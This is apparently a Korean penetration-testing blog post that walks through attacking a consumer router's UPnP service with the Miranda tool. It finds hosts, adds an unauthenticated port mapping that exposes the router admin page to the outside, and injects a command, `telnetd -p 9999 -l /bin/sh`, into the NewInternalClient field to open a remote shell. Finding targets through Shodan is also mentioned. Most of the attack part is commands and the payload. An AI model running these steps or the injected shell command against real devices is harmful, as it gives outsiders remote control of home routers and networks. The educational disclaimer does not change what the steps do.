모의해킹/IoT

IOT 기기 분석 - UPnP 서비스를 이용한 해킹

경험한사람 2024. 5. 18. 23:20

 

"본 블로그의 모든 정보는 합법적이고 윤리적인 보안 연구와 교육 목적으로만 사용되어야 합니다. 불법적인 해킹 및 악의적인 활동에 사용될 경우, 그 책임은 전적으로 사용자에게 있습니다."

 

UPnP 서비스를 이용한 해킹

 

  개요 
     취약한 UPnP 서비스를 이용하여 시스템(무선 공유기)을 해킹해보자
      ※ UPnP(Universal Plug and Play)는 별도의 포트 포워딩 설정 없이 응용프로그램을 사용할 수 있도록 자동으로 포트를 구성하는 기능입니다. ipTIME 공유기에서는 기본으로 활성화되어 있으며, UPnP를 활성화해야 번거로운 과정 없이 응용프로그램 사용이 가능합니다. UPnP는 편리한 기술이지만 보안에는 취약하다는 단점이 있습니다. 이 글에서는 장치를 자동으로 네트워크에 연결하는 UPnP의 특성과 보안 취약점을 알아보도록 하겠습니다.

 

□  UPnP 서비스 기본정보
    1. PC, 가전, IOT기기와 같은 장치를 네트워크 접속시 인터넷/웹 프로토콜을 서로 사용할수 있도록할수 해주는 표준프로토콜

    2. 기본 UDP 1900 포트 사용

    3. 쇼단(Shodan)을 이용하여 UPnP 서비스 검색 활용

    4. UPnP의 경우 포트포워딩 등 설정시 POST로 설정변경 패턴만 맞추면 인증절차 없이 UPnP 설정이 가능 함.

 

□  UPnP 서비스 포트를 통한 포트포워딩 공격

    1. 미란다(Miranda) UPnP 취약점 공격 도구 실행

          >  python miranda.py   

[그림1] UPnP 공격 도구 실행

 

    2. UPnP 서비스 네트워크 스캐닝

          >  msearch   

[그림2] UPnP 네트워크 스캐닝

          

    3. UPnP 서비스 네트워크 스캐닝 결과 확인

          > host  list   

[그림3] UPnP 스캐닝 결과 확인

 

    4. 스캐닝 결과로 확인된 [0]번째 호스트 정보 가져오기

          > host  get 0   

[그림4] 호스트 정보 가져오기

 

    5. 포트포워딩 설정

          > host 0 addPortMapping 8080 80 192.168.0.1 TCP   

 

    6. 공격에 의해 설정된 포트 포워딩 정보 확인

       - 피해 시스템(공유기) > 포트포워딩 설정IPTIME 기타설정 > UPNP 포트포워딩 설정화면 확인

             외부에서 내부에서만 접속이 가능한 공유기 관리자페이지 접근 가능

[그림5] 공격에 의해 설정된 포트 포워딩 정보

 

□  UPnP 서비스 OS커멘드(Command) 인젝션 공격

              UPnP 서비스 iptables 정책을 활용하려면 시스템 함수 사용은 필수적 이며, 공격 방식은 사용자가 입력한 IP 정보 뒤에 시스템 명령어를 추가로 삽입하여 공격한다.

 

    1. NewInternalClient (내부 IP) 입력란에 커멘트 인젝션 공격패턴을 삽입하여 전송

          >  (중략) `telnetd -p 9999 -l /bin/sh`   

 

    2. 실제 적용된 정보 확인

Required argument:
    Argument Name:  NewInternalClient
    Data Type:      string
    Allowed Values: []
    Set NewInternalClient value to: `telnetd -p 9999 -l /bin/sh`

 

이상.  끝.